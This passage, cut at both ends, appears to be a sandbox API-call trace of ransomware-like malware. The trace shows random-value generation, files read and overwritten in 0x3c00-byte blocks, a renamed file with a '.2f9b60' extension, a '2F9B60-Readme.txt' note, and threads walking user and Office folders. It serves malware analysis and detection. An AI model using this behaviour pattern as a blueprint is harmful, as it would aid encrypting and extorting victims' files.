Seed=0x3e6bfbd0) returned 0x3bcb5c4a [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x2b2db861 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x5c425e50 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x44e3c984 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x5f6af40e [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x62f7bf26 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x6b7fe1a0 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x3d891200 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x39ffbc47 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x75ec14f [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x74121dd9 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x6ef5ef49 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x4a7ad6ba [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0xae67adc [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x3d99e785 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x6b3a7abe [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x4f313797 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x2c6fbbf0 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x3a4a5fe0 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x7c13a4d1 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x4b07ec7e [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x67aa4e6a [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x77e5b44b [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x944c01f [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x262c4d55 [0118.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa860 [0118.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa800 [0118.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0118.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab30) returned 1 [0118.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202085a0 [0118.732] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.732] ReadFile (in: hFile=0x1674, lpBuffer=0x202085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e6bfc40, lpOverlapped=0x0 | out: lpBuffer=0x202085a0*, lpNumberOfBytesRead=0x3e6bfc40*=0x3c00, lpOverlapped=0x0) returned 1 [0118.761] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab30 [0118.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab30) returned 1 [0118.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201fd170 [0118.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab30 [0118.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0118.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.762] WriteFile (in: hFile=0x1674, lpBuffer=0x201fd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e6bfc40, lpOverlapped=0x0 | out: lpBuffer=0x201fd170*, lpNumberOfBytesWritten=0x3e6bfc40*=0x3c00, lpOverlapped=0x0) returned 1 [0130.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201fd170) returned 1 [0130.216] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0xc86400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.216] ReadFile (in: hFile=0x1674, lpBuffer=0x202085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e6bfc40, lpOverlapped=0x0 | out: lpBuffer=0x202085a0*, lpNumberOfBytesRead=0x3e6bfc40*=0x3c00, lpOverlapped=0x0) returned 1 [0130.223] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0xc86400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0130.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262270) returned 1 [0130.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201fd170 [0130.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0130.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0130.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202628d0) returned 1 [0130.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.225] WriteFile (hFile=0x1674, lpBuffer=0x201fd170, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e6bfc40, lpOverlapped=0x0) [0170.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201fd170) returned 1 [0170.995] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x1903f8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.995] ReadFile (in: hFile=0x1674, lpBuffer=0x202085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e6bfc40, lpOverlapped=0x0 | out: lpBuffer=0x202085a0*, lpNumberOfBytesRead=0x3e6bfc40*=0x3c00, lpOverlapped=0x0) returned 1 [0171.185] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x1903f8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d100 [0171.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d100) returned 1 [0171.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41da6910 [0171.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d100 [0171.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d130 [0171.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d130) returned 1 [0171.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.188] WriteFile (in: hFile=0x1674, lpBuffer=0x41da6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e6bfc40, lpOverlapped=0x0 | out: lpBuffer=0x41da6910*, lpNumberOfBytesWritten=0x3e6bfc40*=0x3c00, lpOverlapped=0x0) returned 1 [0194.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41da6910) returned 1 [0194.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf360 [0194.648] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.648] WriteFile (in: hFile=0x1674, lpBuffer=0x1347e0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3e6bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x1347e0*, lpNumberOfBytesWritten=0x3e6bfcf0*=0x14a, lpOverlapped=0x0) returned 1 [0202.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0202.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638c0 [0202.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202638c0) returned 1 [0202.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f8740 [0202.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638c0 [0202.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0202.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e60) returned 1 [0202.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0202.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5dbf0 [0202.048] sprintf (in: _Dest=0x1ce5dbf0, _Format="%c%c" | out: _Dest="14") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dbf2, _Format="%c%c" | out: _Dest="a1") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dbf4, _Format="%c%c" | out: _Dest="01") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dbf6, _Format="%c%c" | out: _Dest="c9") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dbf8, _Format="%c%c" | out: _Dest="11") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dbfa, _Format="%c%c" | out: _Dest="aa") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dbfc, _Format="%c%c" | out: _Dest="83") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dbfe, _Format="%c%c" | out: _Dest="f5") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc00, _Format="%c%c" | out: _Dest="bc") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc02, _Format="%c%c" | out: _Dest="35") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc04, _Format="%c%c" | out: _Dest="42") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc06, _Format="%c%c" | out: _Dest="a0") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc08, _Format="%c%c" | out: _Dest="4c") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc0a, _Format="%c%c" | out: _Dest="e1") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc0c, _Format="%c%c" | out: _Dest="93") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc0e, _Format="%c%c" | out: _Dest="8f") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc10, _Format="%c%c" | out: _Dest="10") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc12, _Format="%c%c" | out: _Dest="d2") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc14, _Format="%c%c" | out: _Dest="b8") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc16, _Format="%c%c" | out: _Dest="d4") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc18, _Format="%c%c" | out: _Dest="f4") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc1a, _Format="%c%c" | out: _Dest="bc") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc1c, _Format="%c%c" | out: _Dest="17") returned 2 [0202.048] sprintf (in: _Dest=0x1ce5dc1e, _Format="%c%c" | out: _Dest="5c") returned 2 [0202.048] RtlInitAnsiString (in: DestinationString=0x3e6bfd68, SourceString="14a101c911aa83f5bc3542a04ce1938f10d2b8d4f4bc175c" | out: DestinationString="14a101c911aa83f5bc3542a04ce1938f10d2b8d4f4bc175c") [0202.048] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e6bfd38, SourceString="14a101c911aa83f5bc3542a04ce1938f10d2b8d4f4bc175c", AllocateDestinationString=1 | out: DestinationString="14a101c911aa83f5bc3542a04ce1938f10d2b8d4f4bc175c") returned 0x0 [0202.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddf440 [0202.049] wcscat (in: _Dest=0x42060830, _Source="14a101c911aa" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\14a101c911aa") returned="C:\\Users\\Public\\Videos\\Sample Videos\\14a101c911aa" [0202.049] wcscat (in: _Dest=0x42060830, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\14a101c911aa.2f9b60") returned="C:\\Users\\Public\\Videos\\Sample Videos\\14a101c911aa.2f9b60" [0202.049] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Videos\\Sample Videos\\14a101c911aa.2f9b60", NtPathName=0x3e6bfd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Videos\\Sample Videos\\14a101c911aa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43197d00 [0205.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43197d00) returned 1 [0205.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43210530) returned 1 [0205.958] NtQueryInformationFile (in: FileHandle=0x1674, IoStatusBlock=0x3e6bfd78, FileInformation=0x3e6bfd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3e6bfd78, FileInformation=0x3e6bfd88) returned 0x0 [0205.958] NtSetInformationFile (FileHandle=0x1674, IoStatusBlock=0x3e6bfd78, FileInformation=0x3e6bfd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0209.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf440) returned 1 [0209.045] FlushFileBuffers (hFile=0x1674) returned 1 [0209.052] CloseHandle (hObject=0x1674) returned 1 [0216.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0216.052] wcscpy (in: _Dest=0x1b868340, _Source="C:\\Users\\Public\\Videos\\Sample Videos\\" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\") returned="C:\\Users\\Public\\Videos\\Sample Videos\\" [0216.052] wcscat (in: _Dest=0x1b868340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Videos\\Sample Videos\\2F9B60-Readme.txt" [0216.052] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\videos\\sample videos\\2f9b60-readme.txt")) returned 0xffffffff [0216.052] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\videos\\sample videos\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ae8 [0219.552] WriteFile (in: hFile=0x1ae8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3e6bfc30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3e6bfc30*=0xba9, lpOverlapped=0x0) returned 1 [0222.605] CloseHandle (hObject=0x1ae8) returned 1 [0224.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0224.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eb10) returned 1 Thread: id = 1384 os_tid = 0xd88 [0118.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b86ef70 [0118.769] wcscpy (in: _Dest=0x1b86ef70, _Source="C:\\Users\\Default\\AppData\\Roaming\\Identities" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities" [0118.769] wcscat (in: _Dest=0x1b86ef70, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\" [0118.769] wcscat (in: _Dest=0x1b86ef70, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*" [0118.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd980d0 [0118.770] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9db50 [0118.771] wcscmp (_String1=".", _String2=".") returned 0 [0118.772] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.772] wcscmp (_String1="..", _String2=".") returned 1 [0118.772] wcscmp (_String1="..", _String2="..") returned 0 [0118.772] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0118.772] wcscmp (_String1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", _String2=".") returned 1 [0118.772] wcscmp (_String1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", _String2="..") returned 1 [0118.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ac0b0 [0118.772] wcscpy (in: _Dest=0x202ac0b0, _Source="C:\\Users\\Default\\AppData\\Roaming\\Identities" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities" [0118.772] wcscat (in: _Dest=0x202ac0b0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\" [0118.772] wcscat (in: _Dest=0x202ac0b0, _Source="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0127.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202ac0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8 [0127.020] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0127.020] FindClose (in: hFindFile=0x1cd9db50 | out: hFindFile=0x1cd9db50) returned 1 [0127.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd980d0) returned 1 [0127.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef70) returned 1 [0127.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858730) returned 1 Thread: id = 1385 os_tid = 0xee4 [0118.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 0x20 [0118.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC", dwFileAttributes=0x20) returned 1 [0118.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1628 [0118.777] GetFileSizeEx (in: hFile=0x1628, lpFileSize=0x233af720 | out: lpFileSize=0x233af720*=495616) returned 1 [0118.777] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x78ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.777] ReadFile (in: hFile=0x1628, lpBuffer=0x233af6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x233af6e8, lpOverlapped=0x0 | out: lpBuffer=0x233af6a0*, lpNumberOfBytesRead=0x233af6e8*=0x4, lpOverlapped=0x0) returned 1 [0118.846] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2f0 [0118.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0118.846] NtQuerySystemTime (in: CurrentTime=0x233af5e0 | out: CurrentTime=0x233af5e0*=132462177242770000) returned 0x0 [0118.846] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0xe591a9d [0118.846] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x2d60d23b [0118.846] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x682d2a3a [0118.846] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x436d9a0f [0118.846] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x50a050f5 [0118.846] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x45b40cc [0118.846] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x4a1e718a [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x67220653 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x32b52c92 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x49ca5917 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x63c418fe [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x5011e3f0 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x7a751b0a [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x774c4853 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x338b432a [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x7f389309 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x3243e8ab [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x6c2c794f [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x1df27ce7 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x2cc846ca [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x3b37334c [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x66e618a3 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x3adb8600 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0xeb2f700 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x776aa1c1 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x53ecac0a [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x57075750 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x59eb0589 [0118.847] RtlRandomEx (in: 